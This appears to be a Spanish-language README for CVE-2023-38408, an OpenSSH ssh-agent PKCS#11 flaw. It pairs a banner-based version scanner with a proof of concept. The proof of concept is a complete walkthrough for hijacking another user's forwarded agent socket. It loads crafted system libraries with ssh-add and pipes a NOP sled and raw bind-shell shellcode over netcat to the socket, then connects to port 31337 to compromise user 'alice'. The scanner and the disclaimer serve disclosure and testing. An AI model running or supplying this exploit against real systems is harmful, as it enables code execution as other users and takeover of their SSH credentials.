
CVE-2023-38408 Escáner de Vulnerabilidad SSH & PoC
Se encontró una vulnerabilidad en OpenSSH (versiones anteriores a 9.3p2). La característica PKCS#11 en ssh-agent de OpenSSH tiene una ruta de búsqueda insuficientemente confiable, lo que lleva a la ejecución remota de código si un agente se reenvía a un sistema controlado por un atacante (el código en /usr/lib no es necesariamente seguro para cargarse en ssh-agent). Esta falla permite que un atacante con control del socket del agente reenviado en el servidor y la capacidad de escribir en el sistema de archivos del cliente host ejecute código arbitrario con los privilegios del usuario que ejecuta ssh-agent.
En el ejemplo a continuación, podemos observar brevemente los pasos desde la exploración hasta comprometer al usuario alice.
Como se mencionó anteriormente, en este POC usaremos 2 usuarios conectados a un servidor mediante SSH. Para seguir los pasos a continuación, asumimos que ambos usuarios ya tienen acceso al servidor (SSH).
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
Finalmente, presiona Ctrl-C para detener la transferencia de netcat una vez que el shellcode se haya colocado exitosamente en la memoria del agente.
[!NOTE] Desencadenando SIGSEGV 💬
SIGSEGV es una señal conocida que un proceso de computadora recibe cuando ocurre una referencia de memoria inválida (fallo de segmentación). Al recibir la señal SIGSEGV, el kernel reconoce que ha ocurrido un acceso a memoria inválido y procede a invocar el manejador de señal personalizado en lugar de terminar el programa abruptamente. Al hacerlo, el atacante aprovecha la oportunidad para manipular la ejecución del programa y dirigirlo hacia el código malicioso inyectado ubicado dentro del sled NOP.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
La vulnerabilidad afecta principalmente a sistemas donde se utiliza el agente SSH de OpenSSH y la función de reenvío del agente está habilitada. Las organizaciones y personas que dependen de OpenSSH deben evaluar rápidamente sus configuraciones para determinar una posible exposición. Si tu sistema cumple las condiciones mencionadas, es crucial tomar medidas inmediatas para mitigar el riesgo asociado con CVE-2023-38408.
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408
python CVE-2023-38408_scanner.py -t <objetivo> -p <puerto>
Cliente Servidor
| --- SSH-2.0-Client_Test ----> |
| <---- Banner del servidor SSH ----- |
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Desarrollado por TXOne
[+] Conectando a 192.168.1.100:22...
[+] Banner recibido: SSH-2.0-OpenSSH_9.2
[+] Versión de OpenSSH detectada: 9.2
[!] Versión vulnerable de OpenSSH detectada: 9.2
Esta herramienta está destinada únicamente para pruebas de seguridad autorizadas y fines educativos. Siempre obtén la autorización adecuada antes de escanear cualquier recurso de red.